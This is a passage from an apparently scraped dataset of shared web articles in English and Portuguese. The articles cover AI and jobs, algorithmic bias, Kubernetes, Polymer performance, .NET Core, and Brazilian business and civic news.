Thus, the value of the market opportunity expands rather than contracts. Salesforce and Amazon Web Services (AWS) exemplify this. Literally thousands of new businesses exist as a result of these platforms than ever could have in the past. OAS is not an answer to all problems While OAS companies drive adoption much faster than their fully proprietary counterparts, being openly adopted is not a panacea. Particularly as public cloud vendors begin hosting open-source projects as a service, it's tremendously important that these companies thoughtfully decide which parts of the product will be open and which parts won't. There is definitely a unique failure mode in which OAS companies go too open and fail to monetize sufficiently. While we certainly believe in OAS, not all open projects are the basis for OAS companies, and not all of these companies are going to be publicly traded - some will be niches, some will struggle, some will be M&A opportunities. It's hard to predict the winners out of the gate. While OAS companies will likely have the same success rate as traditional software companies, there is reason to believe that the winners will be bigger than their predecessors. Featured Image: 31moonlight31/Getty Images",en
1466972000,CONTENT SHARED,-8158171393641147845,-1032019229384696495,-2318276786697086259,,,,HTML,http://www.wired.com/2016/06/mit-algorithm-predicts-future-watching-tv/,An MIT Algorithm Predicts the Future by Watching TV,"The next time you catch your robot watching sitcoms, don't assume it's slacking off. It may be hard at work. TV shows and video clips can help artificially intelligent systems learn about and anticipate human interactions, according to MIT's Computer Science and Artificial Intelligence Laboratory. Researchers created an algorithm that analyzes video, then uses what it learns to predict how humans will behave. Six-hundred hours of clips from shows like The Office and Big Bang Theory let the AI learned to identify high-fives, handshakes, hugs, and kisses. Then it learned what the moments leading to those interactions looked like. After the AI devoured all that video to train itself, the researchers fed the algorithm a single frame from a video it had not seen and tasked it with predicting what would happen next. The algorithm got it right about 43 percent of the time. Humans nail the answer 71 percent of the time, but the researchers still think the AI did a great job, given its rudimentary education. ""Even a toddler has much more life experience than this,"" says Carl Vondrick, the project's lead author. ""I'm interested to see how much the algorithms improve if we train it on years of videos."" The AI doesn't understand what's happening in the scene in the same way a human does. It analyzes the composition and movement of pixels to identify patterns.""It drew its own conclusions in terms of correlations between the visuals and the eventual action,"" says Vondrick. Vondrick was among three people who spent two years on the project. He says the efficient, self-reliant training could come in handy for more important things than watching reruns. For example, an improved version of the system could have a future in hospitals and in places where it could prevent injuries. He mentions smart cameras that could analyze video feeds and alert emergency responders if somebody is about to fall or something catastrophic is about to happen. Embed these systems in robots, and they could even intervene in these situations themselves.",en
1466982092,CONTENT SHARED,3779639438468810958,2416280733544962613,4583137211700913224,,,,HTML,http://www.economist.com/news/special-report/21700761-after-many-false-starts-artificial-intelligence-has-taken-will-it-cause-mass,The return of the machinery question,"THERE IS SOMETHING familiar about fears that new machines will take everyone's jobs, benefiting only a select few and upending society. Such concerns sparked furious arguments two centuries ago as industrialisation took hold in Britain. People at the time did not talk of an ""industrial revolution"" but of the ""machinery question"". First posed by the economist David Ricardo in 1821, it concerned the ""influence of machinery on the interests of the different classes of society"", and in particular the ""opinion entertained by the labouring class, that the employment of machinery is frequently detrimental to their interests"". Thomas Carlyle, writing in 1839, railed against the ""demon of mechanism"" whose disruptive power was guilty of ""oversetting whole multitudes of workmen"". Today the machinery question is back with a vengeance, in a new guise. Technologists, economists and philosophers are now debating the implications of artificial intelligence (AI), a fast-moving technology that enables machines to perform tasks that could previously be done only by humans. Its impact could be profound. It threatens workers whose jobs had seemed impossible to automate, from radiologists to legal clerks. A widely cited study by Carl Benedikt Frey and Michael Osborne of Oxford University, published in 2013, found that 47% of jobs in America were at high risk of being ""substituted by computer capital"" soon. More recently Bank of America Merrill Lynch predicted that by 2025 the ""annual creative disruption impact"" from AI could amount to $14 trillion-33 trillion, including a $9 trillion reduction in employment costs thanks to AI-enabled automation of knowledge work; cost reductions of $8 trillion in manufacturing and health care; and $2 trillion in efficiency gains from the deployment of self-driving cars and drones. The McKinsey Global Institute, a think-tank, says AI is contributing to a transformation of society ""happening ten times faster and at 300 times the scale, or roughly 3,000 times the impact"" of the Industrial Revolution. Just as people did two centuries ago, many fear that machines will make millions of workers redundant, causing inequality and unrest. Martin Ford, the author of two bestselling books on the dangers of automation, worries that middle-class jobs will vanish, economic mobility will cease and a wealthy plutocracy could ""shut itself away in gated communities or in elite cities, perhaps guarded by autonomous military robots and drones"". Others fear that AI poses an existential threat to humanity, because superintelligent computers might not share mankind's goals and could turn on their creators. Such concerns have been expressed, among others, by Stephen Hawking, a physicist, and more surprisingly by Elon Musk, a billionaire technology entrepreneur who founded SpaceX, a rocket company, and Tesla, a maker of electric cars. Echoing Carlyle, Mr Musk warns that ""with artificial intelligence, we're summoning the demon."" His Tesla cars use the latest AI technology to drive themselves, but Mr Musk frets about a future AI overlord becoming too powerful for humans to control. ""It's fine if you've got Marcus Aurelius as the emperor, but not so good if you have Caligula,"" he says. It's all Go Such concerns have been prompted by astonishing recent progress in AI, a field long notorious for its failure to deliver on its promises. ""In the past couple of years it's just completely exploded,"" says Demis Hassabis, the boss and co-founder of DeepMind, an AI startup bought by Google in 2014 for $400m. Earlier this year his firm's AlphaGo system defeated Lee Sedol, one of the world's best players of Go, a board game so complex that computers had not been expected to master it for another decade at least. ""I was a sceptic for a long time, but the progress now is real. The results are real. It works,"" says Marc Andreessen of Andreessen Horowitz, a Silicon Valley venture-capital firm. In particular, an AI technique called ""deep learning"", which allows systems to learn and improve by crunching lots of examples rather than being explicitly programmed, is already being used to power internet search engines, block spam e-mails, suggest e-mail replies, translate web pages, recognise voice commands, detect credit-card fraud and steer self-driving cars. ""This is a big deal,"" says Jen-Hsun Huang, chief executive of NVIDIA, a firm whose chips power many AI systems. ""Instead of people writing software, we have data writing software."" Where some see danger, others see opportunity. Investors are piling into the field. Technology giants are buying AI startups and competing to attract the best researchers from academia. In 2015 a record $8.5 billion was spent on AI companies, nearly four times as much as in 2010, according to Quid, a data-analysis company. The number of investment rounds in AI companies in 2015 was 16% up on the year before, when for the technology sector as a whole it declined by 3%, says Nathan Benaich of Playfair Capital, a fund that has 25% of its portfolio invested in AI. ""It's the Uber for X"" has given way to ""It's X plus AI"" as the default business model for startups. Google, Facebook, IBM, Amazon and Microsoft are trying to establish ecosystems around AI services provided in the cloud. ""This technology will be applied in pretty much every industry out there that has any kind of data-anything from genes to images to language,"" says Richard Socher, founder of MetaMind, an AI startup recently acquired by Salesforce, a cloud-computing giant. ""AI will be everywhere."" What will that mean? This special report will examine the rise of this new technology, explore its potential impact on jobs, education and policy, and consider its ethical and regulatory implications. Along the way it will consider the lessons that can be learned from the original response to the machinery question. AI excites fear and enthusiasm in equal measure, and raises a lot of questions. Yet it is worth remembering that many of those questions have been asked, and answered, before. Read on: How the technology works >>",en
1466982935,CONTENT SHARED,-4027027091658759481,-1032019229384696495,-2318276786697086259,,,,HTML,https://medium.com/@marcushellberg/how-i-sped-up-the-initial-render-of-my-polymer-app-by-86-eeff648a3dc0,How I sped up the initial render of my Polymer app by 86%,"How I sped up the initial render of my Polymer app by 86% I was trying to optimize the startup time of my Polymer application ( Expense Manager ) and realized that the main reason it took so long to render was that even though the user lands on the login page, the browser was busy setting up the main page that wasn't even visible yet. In addition, I had all my Polymer elements in one bundle file that needed to get loaded before anything could get shown. Here's what I did to speed up the first meaningful render from about 2,200ms to just over 300ms on localhost. Step 1: Split the bundle The first step was to ensure that I'm not loading more than needed for the initial login screen render. The way I decided to do that was to adapt my application to the new project structure that Polymer CLI uses. With this structure, instead of one bundle containing all the elements in the entire app, I got two bundles, one that just contained the components needed to show the login page, and one that contained the rest. Splitting up the bundle and deferring the load of the second bundle until navigation sped up the load time considerably. But there was one new issue that it brought with it. Now, after logging in, I had a brief flash of empty screen before the new bundle was actually downloaded and rendered. Step 2: Load the second page in the background While searching for ways to fix the flicker, I stumbled upon an undocumented feature in Polymer, a callback that gets called after a given component has finished rendering. With this callback, I was able to begin downloading and rendering the overview page as soon as the login page was rendered. Because users are slow compared to computers, this meant that by the time the user actually logs in, everything is already set up for them and the transition is instant. Step 3: Fetch data only once render is complete One final optimization I did using the same trick was to delay the Pouch DB setup until the second page was fully rendered. This way, the user gets quick visual results and the overall experience feels snappier . Conclusion Polymer.RenderStatus.afterNextRender gives you a simple way to defer things that need to get done soon, but that don't need to get done in the next render. You can find the demo online at: and source code at",en
1466985182,CONTENT SHARED,-8009527121402763559,-1443636648652872475,19238000067768963,,,,HTML,http://mobile.nytimes.com/2016/06/26/opinion/sunday/artificial-intelligences-white-guy-problem.html?referer=android-app://com.google.android.googlequicksearchbox/https/www.google.com,Artificial Intelligence's White Guy Problem,"ACCORDING to some prominent voices in the tech world, artificial intelligence presents a looming existential threat to humanity: Warnings by luminaries like Elon Musk and Nick Bostrom about ""the singularity"" - when machines become smarter than humans - have attracted millions of dollars and spawned a multitude of conferences. But this hand-wringing is a distraction from the very real problems with artificial intelligence today, which may already be exacerbating inequality in the workplace, at home and in our legal and judicial systems. Sexism, racism and other forms of discrimination are being built into the machine-learning algorithms that underlie the technology behind many ""intelligent"" systems that shape how we are categorized and advertised to. Take a small example from last year: Users discovered that Google's photo app, which applies automatic labels to pictures in digital photo albums, was classifying images of black people as gorillas. Google apologized; it was unintentional. But similar errors have emerged in Nikon's camera software, which misread images of Asian people as blinking , and in Hewlett-Packard 's web camera software, which had difficulty recognizing people with dark skin tones. This is fundamentally a data problem. Algorithms learn by being fed certain images, often chosen by engineers, and the system builds a model of the world based on those images. If a system is trained on photos of people who are overwhelmingly white, it will have a harder time recognizing nonwhite faces. A very serious example was revealed in an investigation published last month by ProPublica. It found that widely used software that assessed the risk of recidivism in criminals was twice as likely to mistakenly flag black defendants as being at a higher risk of committing future crimes. It was also twice as likely to incorrectly flag white defendants as low risk. The reason those predictions are so skewed is still unknown, because the company responsible for these algorithms keeps its formulas secret - it's proprietary information. Judges do rely on machine-driven risk assessments in different ways - some may even discount them entirely - but there is little they can do to understand the logic behind them. Police departments across the United States are also deploying data-driven risk-assessment tools in ""predictive policing"" crime prevention efforts. In many cities, including New York, Los Angeles, Chicago and Miami, software analyses of large sets of historical crime data are used to forecast where crime hot spots are most likely to emerge; the police are then directed to those areas. At the very least, this software risks perpetuating an already vicious cycle, in which the police increase their presence in the same places they are already policing (or overpolicing), thus ensuring that more arrests come from those areas. In the United States, this could result in more surveillance in traditionally poorer, nonwhite neighborhoods, while wealthy, whiter neighborhoods are scrutinized even less. Predictive programs are only as good as the data they are trained on, and that data has a complex history. Histories of discrimination can live on in digital platforms, and if they go unquestioned, they become part of the logic of everyday algorithmic systems. Another scandal emerged recently when it was revealed that Amazon's same-day delivery service was unavailable for ZIP codes in predominantly black neighborhoods. The areas overlooked were remarkably similar to those affected by mortgage redlining in the mid-20th century. Amazon promised to redress the gaps, but it reminds us how systemic inequality can haunt machine intelligence. And then there's gender discrimination. Last July, computer scientists at Carnegie Mellon University found that women were less likely than men to be shown ads on Google for highly paid jobs. The complexity of how search engines show ads to internet users makes it hard to say why this happened - whether the advertisers preferred showing the ads to men, or the outcome was an unintended consequence of the algorithms involved. Regardless, algorithmic flaws aren't easily discoverable: How would a woman know to apply for a job she never saw advertised? How might a black community learn that it were being overpoliced by software? We need to be vigilant about how we design and train these machine-learning systems, or we will see ingrained forms of bias built into the artificial intelligence of the future. Like all technologies before it, artificial intelligence will reflect the values of its creators. So inclusivity matters - from who designs it to who sits on the company boards and which ethical perspectives are included. Otherwise, we risk constructing machine intelligence that mirrors a narrow and privileged vision of society, with its old, familiar biases and stereotypes. If we look at how systems can be discriminatory now, we will be much better placed to design fairer artificial intelligence. But that requires far more accountability from the tech community. Governments and public institutions can do their part as well: As they invest in predictive technologies, they need to commit to fairness and due process. While machine-learning technology can offer unexpected insights and new forms of convenience, we must address the current implications for communities that have less power, for those who aren't dominant in elite Silicon Valley circles. Currently the loudest voices debating the potential dangers of superintelligence are affluent white men, and, perhaps for them, the biggest threat is the rise of an artificially intelligent apex predator. But for those who already face marginalization or bias, the threats are here.",en
1466986072,CONTENT SHARED,-555187669877280641,-1479311724257856983,-2198572043169729427,,,,HTML,https://www.coursera.org/learn/nlpintro,Introduction to Natural Language Processing - University of Michigan | Coursera,"About this course: This course provides an introduction to the field of Natural Language Processing. It includes relevant background material in Linguistics, Mathematics, Probabilities, and Computer Science. Some of the topics covered in the class are Text Similarity, Part of Speech Tagging, Parsing, Semantics, Question Answering, Sentiment Analysis, and Text Summarization. The course includes quizzes, programming assignments in Python, and a final exam. Course Syllabus Week One (Introduction 1/2) (1:35:31) Week Two (Introduction 2/2) (1:36:26) Week Three (NLP Tasks and Text Similarity) (1:42:52) Week Four (Syntax and Parsing, Part 1) (1:48:14) Week Five (Syntax and Parsing, Part 2) (1:50:29) Week Six (Language Modeling and Word Sense Disambiguation) (1:40:33) Week Seven (Part of Speech Tagging and Information Extraction) (1:33:21) Week Eight (Question Answering) (1:16:59) Week Nine (Text Summarization) (1:33:55) Week Ten (Collocations and Information Retrieval) (1:29:40) Week Eleven (Sentiment Analysis and Semantics) (1:09:38) Week Twelve (Discourse, Machine Translation, and Generation) (1:30:57) The course assignments will all be in Python. Course Format The class will consist of lecture videos, which are typically between 10 and 25 minutes in length. The lectures contain 1-2 integrated quiz questions per video. Grading is based on three programming assignments, weekly quizzes, and a final exam.",en
1466997280,CONTENT SHARED,4311772163179839306,3609194402293569455,-3308277187204313744,,,,HTML,https://www.mundodomarketing.com.br/index.php/ultimas-noticias/36409/facebook-apresenta-o-creative-hub-atualiza-canvas-e-slideshow.html,"Facebook apresenta o Creative Hub, atualiza Canvas e SlideShow","O Facebook apresentou quatro soluções durante o Cannes Lions 2016 que irão facilitar o compartilhamento de conteúdos de anunciantes entre as plataformas móveis. Com mais de 1,5 bilhão de pessoas acessando a rede social a partir de dispositivos móveis, e um bilhão desses acessos sendo realizados diariamente, o Facebook gera mais engajamento móvel do que qualquer outra plataforma, e permite que as empresas cheguem às pessoas independente de onde estejam e do dispositivo que utilizam. Todas as ferramentas têm como objetivo ajudar marcas e anunciantes a se aproximarem de suas audiências . Uma das principais novidades é a criação do Creative Hub, que oferecerá uma área colaborativa para experimentar, pré-visualizar, avaliar e exibir anúncios, além de um guia de anúncios que permite explorar e selecionar formatos disponíveis para Facebook e Instagram. A ferramenta está em fase de testes, mas já pode ser experimentadas. Outra novidade está na atualização do Canvas. Disponível desde fevereiro, e que tem o Brasil como o segundo país do mundo que mais consome conteúdo por meio dele. A partir de agora o Canvas está disponível para todas as Páginas da plataforma, mesmo quando o conteúdo não for promovido como um anúncio. Além disso, marcas e anunciantes terão acesso a métricas detalhadas como tempo de permanência e cliques por componentes para acompanhar o desempenho. A plataforma também apresentou o API para Audience Insights, em versão beta. A ferramenta visa ajuda marcas e anunciantes a conhecer melhor a audiência e desenvolver campanhas que tragam valor para as pessoas. Outra ferramenta que também recebeu atualização foi o SlideShow, que desde 2015 permite a criação de vídeos a partir de fotos e usa cinco vezes menos dados do que um vídeo comum para rodar em mercados com desafios de conectividade. A partir de agora será ainda mais fácil criar anúncios a partir de dispositivos móveis. A ferramenta permitirá a integração com nossa Biblioteca de Fotos e com o banco de fotos da Shutterstock e sobreposição de áudio e texto.",pt
1467026915,CONTENT SHARED,4084131344684656470,5127372011815639401,5134361217529549945,,,,HTML,https://deis.com/blog/2016/kubernetes-illustrated-guide/,The Children's Illustrated Guide to Kubernetes,"Kubernetes, Book Introducing Phippy, an intrepid little PHP app, and her journey to Kubernetes. What is this? Well, I wrote a book that explains Kubernetes. We posted a video version to the Kubernetes community blog. If you find us at a conference, you stand a chance to pick up a physical copy. But for now, here's a blog post version! And after you've finished reading, tweet something at @opendeis for a chance to win a squishy little Phippy toy of your own. Not sure what to tweet? Why don't you tell us about yourself and how you use Kubernetes! The Other Day... The other day, my daughter sidled into my office, and asked me, ""Dearest Father, whose knowledge is incomparable, what is Kubernetes?"" Alright, that's a little bit of a paraphrase, but you get the idea. And I responded, ""Kubernetes is an open source orchestration system for Docker containers. It handles scheduling onto nodes in a compute cluster and actively manages workloads to ensure that their state matches the users' declared intentions. Using the concepts of ""labels"" and ""pods"", it groups the container which make up an application into logical units for easy management and discovery."" And my daughter said to me, ""Huh?"" And so I give you... The Children's Illustrated Guide to Kubernetes Once upon a time there was an app named Phippy. And she was a simple app. She was written in PHP and had just one page. She lived on a hosting provider and she shared her environment with scary other apps that she didn't know and didn't care to associate with. She wished she had her own environment: just her and a webserver she could call home. An app has an environment that it relies upon to run. For a PHP app, that environment might include a webserver, a readable file system, and the PHP engine itself. One day, a kindly whale came along. He suggested that little Phippy might be happier living in a container. And so the app moved. And the container was nice, but... It was a little bit like having a fancy living room floating in the middle of the ocean. A container provides an isolated environment in which an app, together with its environment, can run. But those isolated containers often need to be managed and connected to the external world. Shared file systems, networking, scheduling, load balancing, and distribution are all challenges. The whale shrugged his shoulders. ""Sorry, kid,"" he said, and disappeared beneath the ocean's surface. But before Phippy could even begin to despair, a captain appeared on the horizon, piloting a gigantic ship. The ship was made of dozens of rafts all lashed together, but from the outside, it looked like one giant ship. ""Hello there, friend PHP app. My name is Captain Kube"" said the wise old captain. ""Kubernetes"" is the Greek word for a ship's captain. We get the words Cybernetic and Gubernatorial from it. Led by Google, the Kubernetes project focuses on building a robust platform for running thousands of containers in production. ""I'm Phippy,"" said the little app. ""Nice to make your acquaintance,"" said the Captain as he slapped a name tag on her. Kubernetes uses labels as ""nametags"" to identify things. And it can query based on these labels. Labels are open-ended: You can use them to indicate roles, stability, or other important attributes. Captain Kube suggested that the app might like to move her container to a pod on board the ship. Phippy happily moved her container inside of the pod aboard Kube's giant ship. It felt like home. In Kubernetes, a Pod represents a runnable unit of work. Usually, you will run a single container inside of a Pod. But for cases where a few containers are tightly coupled, you may opt to run more than one container inside of the same Pod. Kubernetes takes on the work of connecting your pod to the network and the rest of the Kubernetes environment. Phippy had some unusual interests. She was really into genetics and sheep. And so she asked the captain, ""What if I want to clone myself... On demand... Any number of times?"" ""That's easy,"" said the captain. And he introduced her to the replication controllers. Replication controllers provide a method for managing an arbitrary number of pods. A replication controller contains a pod template, which can be replicated any number of times. Through the replication controller, Kubernetes will manage your pods' lifecycle, including scaling up and down, rolling deployments, and monitoring. For many days and nights the little app was happy with her pod and happy with her replicas. But only having yourself for company is not all it's cracked up to be.... even if it is N copies of yourself. Captain Kube smiled benevolently, ""I have just the thing."" No sooner had he spoken than a tunnel opened between Phippy's replication controller and the rest of the ship. With a hearty laugh, Captain Kube said, ""Even when your clones come and go, this tunnel will stay here so you can discover other pods, and they can discover you!"" A service tells the rest of the Kubernetes environment (including other pods and replication controllers) what services your application provides. While pods come and go, the service IP addresses and ports remain the same. And other applications can find your service through Kurbenetes service discovery. Thanks to the services, Phippy began to explore the rest of the ship. It wasn't long before Phippy met Goldie. And they became the best of friends. One day, Goldie did something extraordinary. She gave Phippy a present. Phippy took one look and the saddest of sad tears escaped her eye. ""Why are you so sad?"" asked Goldie. ""I love the present, but I have nowhere to put it!"" sniffled Phippy. But Goldie knew what to do. ""Why not put it in a volume?"" A volume represents a location where containers can access and store information. For the application, the volume appears as part of the local filesystem. But volumes may be backed by local storage, Ceph, Gluster, Elastic Block Storage, and a number of other storage backends. Phippy loved life aboard Captain Kube's ship and she enjoyed the company of her new friends (every replicated pod of Goldie was equally delightful). But as she thought back to her days on the scary hosted provider, she began to wonder if perhaps she could also have a little privacy. ""It sounds like what you need,"" said Captain Kube, ""is a namespace."" A namespace functions as a grouping mechanism inside of Kubernetes. Services, pods, replication controllers, and volumes can easily cooperate within a namespace, but the namespace provides a degree of isolation from the other parts of the cluster. Together with her new friends, Phippy sailed the seas on Captain Kube's great boat. She had many grand adventures, but most importantly, Phippy had found her home. And so Phippy lived happily ever after.",en
1467028407,CONTENT SHARED,-1669098707776725430,-5264754785175108362,-6475748006071310336,,,,HTML,https://www.embrapa.br/noticias-rss/-/asset_publisher/HA73uEmvroGS/content/id/13773389,Livro reúne artigos de 30 pesquisadores sobre inovação na agricultura - RSS,"Foto: Divulgação Uma série de estudos e contribuições do ponto de vista estratégico sobre o papel da agricultura para o País integra o livro "" Propriedade intelectual e inovações na agricultura "". O lançamento ocorreu em junho durante o Seminário Propriedade Intelectual e Dinâmica da Inovação na Agricultura, realizado no Instituto de Economia da Universidade Estadual de Campinas (Unicamp). Dividida em três partes que abordam a evolução da agricultura, o sistema nacional de inovação na agricultura e a propriedade intelectual, a publicação de 384 páginas teve a contribuição de 30 autores de diversas instituições. A organização é dos professores da Unicamp Antônio Márcio Buainain, do Instituto de Economia, Maria Beatriz Machado Bonacelli, do Instituto de Geociências e da chefe-adjunta de Administração da Embrapa Informática Agropecuária, Cássia Isabel Costa Mendes. O livro trata de temas como a importância da propriedade intelectual para a inovação e para a pesquisa agrícola pública e privada, as relações entre as instituições de pesquisa e o setor privado, além do papel dessas instituições na inovação e na capacitação de recursos humanos, geração de conhecimento e pesquisa científica. No capítulo ""Transferência de tecnologias geradas pela Embrapa: condicionantes exógenos"", os autores refletem sobre os fatores que condicionam a transferência efetiva de tecnologias geradas pela Embrapa. Escrito em parceria por Cássia, Buainain e a pesquisadora da Embrapa Informática Agropecuária Maria do Carmo Fasiaben, indica que o uso produtivo e social dos resultados de pesquisa prescinde da participação de diversos agentes do sistema nacional de inovação na agricultura. A chefe-adjunta de Administração também é coautora do capítulo 11º, com Paula Giovanna Guimarães Ribeiro, coordenadora de apoio à inovação e à propriedade intelectual da Assessoria Jurídica da Embrapa, e o professor Buainain. Nele, os autores discutem a utilização do direito autoral na agropecuária, com base em experiências da Empresa. O plano mais geral da discussão trata sobre o uso da propriedade intelectual por uma empresa pública de pesquisa agrícola e suas implicações. Segundo os autores, quando desprotegidos juridicamente, esses conhecimentos poderiam ser facilmente apropriados por terceiros e utilizados para objetivos para os quais não foram criados. Por isso, não se trata de proteger para restringir o acesso, mas de promover e assegurar a circulação de tecnologias para os fins que nortearam a sua geração. A publicação ainda aborda as tendências e urgências que nortearão o futuro do sistema agroalimentar, da ciência, tecnologia e inovação em sistemas agroindustriais referentes às tecnologias convergentes, sistemas complexos e sustentabilidade; estrutura, políticas públicas e inovação organizacional. Os resultados apresentados apontam que existem quatro problemas principais em escala mundial que precisam ser minimizados: fome, governança mundial, meio ambiente e demanda crescente por energia. Outros autores da Embrapa são Elisio Contini, chefe da Secretaria de Inteligência e Macroestratégia (SIM), os pesquisadores Silvio Crestana, da Embrapa Instrumentação (São Carlos, SP), Claudia De Mori, da Embrapa Pecuária Sudeste (São Carlos, SP), Danielle Alencar Parente Torres e Pedro Abel Vieira Junior, da SIM. A obra é resultado de pesquisa desenvolvida no âmbito do Instituto de Ciência e Tecnologia em Políticas Públicas, Estratégias e Desenvolvimento (INCT/PPED). Está disponível para download gratuito aqui .",pt
1467033482,CONTENT SHARED,-7508055250504867652,-1352064057049251194,-7728363724323429750,,,,HTML,http://itforum365.com.br/noticias/detalhe/120332/cia-hering-sincroniza--diferentes-marcas-em-um-unico-portal-de-compras,Cia. Hering sincroniza diferentes marcas em um único portal de compras,"Há 135 anos no mercado, a Cia. Hering é uma das maiores empresas do setor de moda casual do País. Com 7,2 mil colaboradores, nove unidades industriais, dois centros de distribuição e duas unidades administrativas, a companhia atua em todo o Brasil com cinco marcas: Hering, Hering Kids, PUC, Hering for you e Dzarm, que incluem toda a linha de vestuário e acessórios de moda e básicos para públicos feminino, masculino e infantil. Em 2013, prevendo crescimento constante das vendas on-line, a empresa decidiu investir em uma plataforma tecnológica para expandir e inovar suas vendas pela web. A solução aconteceu por meio do SAP Hybris , da fabricante alemã de software. ""Queríamos uma plataforma eficiente para que nossos consumidores tivessem uma experiência de compra inovadora e se sentissem atraídos e satisfeitos com esse canal"", lembra Sandro Bertotti, gerente de Tecnologia de Informação e Telecom da Cia. Hering. Segundo o executivo, uma das principais metas da companhia era otimizar interações com consumidores do e-commerce de redes e dispositivos móveis, sincronizando todas as marcas em único canal. O projeto foi dividido em ondas, e a primeira delas aconteceu na Dzarm, focada em moda feminina, com go live em maio de 2014, sendo case mundial com uma das mais rápidas implementações em 13 semanas. A segunda fase, que abrangeu a marca Hering, foi concluída em cinco meses, em outubro daquele ano, a tempo de atender uma reivindicação da empresa: ""precisávamos contar com o go live antes da Black Friday , um de nossos marcos mais importantes de vendas"", disse Bertotti. A última etapa foi finalizada em abril de 2015, com a incorporação da PUC ao sistema. Com a ferramenta da SAP, a Cia. Hering também pôde unificar seu catálogo de produtos para gerenciar de forma ainda mais eficiente demandas e proporcionar facilidades no pagamento - como quitação pelo valor total ou separadamente, por marcas. Além de possibilidade integração entre os canais de relacionamento, o SAP Hybris garante visão única de estoque e interações dos clientes com as marcas. No ano passado, o comércio on-line da companhia representou 1,7% do total realizado e a ideia é ampliar esse número, de acordo com o executivo.",pt
1467035159,CONTENT SHARED,6426224004219108539,6735372008307093370,-6487028072647062097,,,,HTML,http://g1.globo.com/sp/campinas-regiao/noticia/2016/06/mesmo-sem-apoio-parada-lgbt-de-campinas-arrasta-multidao-pelas-ruas.html,"Mesmo sem apoio, Parada LGBT de Campinas arrasta multidão pelas ruas","Multidão lota as ruas do centro de Campinas durante a realização da 16ª Parada do Orgulho LGBT (Foto: Renata Victal/G1) Apesar da falta de apoio financeiro da Prefeitura e de uma recomendação do Ministério Público para que a Polícia Militar não apoiasse o evento, a 16ª Parada do Orgulho LGBT (Lésbicas, Gays, Bissexuais, Travestis, Transexuais e Transgêneros) arrastou uma multidão pelas ruas do centro da cidade na tarde deste domingo (26). Confira as fotos da 16ª Parada do Orgulho LGBT de Campinas. ""Mesmo sem apoio, estamos aqui, lutando pelas nossas causas, contra qualquer tipo de preconceito. Muitos homosexuais são espancados e mortos a cada ano. Não podemos fazer de conta que o preconceito não existe"", destacoua drag queen Heloá Meireles. Look branco para celebrar a paz na 16ª edição da Parada LGBT (Foto: Renata Victal/G1) No começo do evento, os organizadores fizeram um minuto de silêncio em memória às vítimas do ataque à boate Pulse , em Orlando, no estado da Flórida (EUA) e também um protesto contra a falta de apoio da Prefeitura, da Polícia Militar e do Ministério Público. ""Entregamos toda a documentação em fevereiro, fizemos várias reuniões e faltando uma semana para o evento disseram que não dariam mais o apoio. Mas o povo veio mostrar que nada nos intimida"", ressaltou um dos organizadores da parada, Douglas Holanda. A Presidente da Comissão da Diversidade da Ordem dos Advogados do Brasil de Campinas , Ana Carolina Camargo de Oliveira, classificou a falta de apoio como um retrocesso. ""O Ministério Público fez um ofício pedindo que não apoiassem alegando falta de segurança, mas, como não houve uma ordem judicial, conversei com os organizadores e garanti a eles que a parada poderia acontecer. Esta é uma posição contrária ao que vem acontecendo em todo o mundo. Somos todos seres humanos e lutamos por uma causa. Essa falta de apoio foi um retrocesso. A homofobia ainda é tipificada como um crime simples"", lamentou Ana. Douglas Holanda, organizador Transfobia Nesta edição, a parada teve como tema ""Diga sim à educação e não à transfobia. Intolerância: o vírus mais assassino. Contra qualquer forma de opressão"", um alerta a qualquer tipo de intolerância, explica um dos organizadores da parada, Douglas Holanda. ""É preciso falar sobre o preconceito contra as transexual. Muita gente ainda tem certo receio de se aproximar de uma trans. Nossa luta é diária. As coisas mudaram muito, mas ainda temos alguns preconceituosos que nos atacam. Fizemos nosso percurso em paz, lembrando que nós representaremos as 49 vidas de Orlando, assim como todas as que se vão diariamente no Brasil e no mundo"", registrou Douglas Pastor Thiago Carlos dos Santos discursou pela igualdade. (Foto: Renata Victal/G1) Percurso e fé Este ano a concentração da 16ª edição da Parada foi ao lado do Fórum, na Avenida Dr. Campos Sales. De lá, a multidão subiu a Avenida Francisco Glicério até Dr. Moraes Sales, seguiu até o cruzamento com a Rua Irmã Serafina, continuando pela Avenida Anchieta até a Avenida Benjamin Constant. Ao retornarem à Avenida Francisco Glicério, o grupo seguiu até o Largo do Rosário. Como nos anos anteriores,o pastor Thiago Carlos dos Santos, da igreja Cidade do Refúgio, uma comunidade cristã inclusiva, usou o microfone para pregar contra a homofobia. Segundo ele, é importante que todos saibam que podem frequentar a igreja sem qualquer receio de ser vítima de preconceito. ""Na nossa igreja todos são bem-vindos. Pode ser homosexual, trans, homem, mulher, família. Não temos nenhum preconceito e estamos aqui para apoiar a causa da igualdade"", afirmou o pastor. Looks coloridos marcaram a 16ª Parada LGBT de Campinas (Foto: Renata Victal/G1)",pt
1467046806,CONTENT SHARED,7270966256391553686,-4467650312287951120,6410806869226558749,,,,HTML,https://blogs.msdn.microsoft.com/dotnet/2016/06/27/announcing-net-core-1-0/,Announcing .NET Core 1.0,"We are excited to announce the release of .NET Core 1.0, ASP.NET Core 1.0 and Entity Framework 1.0 , available on Windows, OS X and Linux! .NET Core is a cross-platform, open source, and modular .NET platform for creating modern web apps, microservices, libraries and console applications. This release includes the .NET Core runtime, libraries and tools and the ASP.NET Core libraries. We are also releasing Visual Studio and Visual Studio Code extensions that enable you to create .NET Core projects. You can get started at . Read the release notes for detailed release information. We are also releasing .NET documentation today at docs.microsoft.com , the new documentation service for Microsoft. The documentation you see there is just a start. You can follow our progress at core-docs on GitHub. ASP.NET Core documentation is also available and open source . Today we are at the Red Hat DevNation conference showing the release and our partnership with Red Hat. Watch the live stream via Channel 9 where Scott Hanselman will demonstrate .NET Core 1.0. .NET Core is now available on Red Hat Enterprise Linux and OpenShift via certified containers. In addition, .NET Core is fully supported by Red Hat and extended via the integrated hybrid support partnership between Microsoft and Red Hat. See the Red Hat Blog for more details. This is the biggest transformation of .NET since its inception and will define .NET for the next decade. We've rebuilt the foundation of .NET to be targeted at the needs of today's world: highly distributed cloud applications, micro services and containers. Moving forward .NET Framework and .NET Core and Xamarin are all important products that will continue to evolve, for Windows, cross-platform cloud and cross-platform mobile, respectively. The .NET Framework and traditional ASP.NET will continue to be relevant for your existing workloads. You can share code and reuse your skills across the entire .NET family so you can decide what to use and when, including mobile apps with Xamarin. And because we designed .NET to share a common library (the .NET standard library) .NET Framework, .NET Core and Xamarin apps will share new common capabilities in the future. It's really easy to try out .NET Core and ASP.NET Core on Windows, OS X or Linux. You can have an app up and running in a few minutes. You only need the .NET Core SDK to get started. The best place to start is the .NET Core 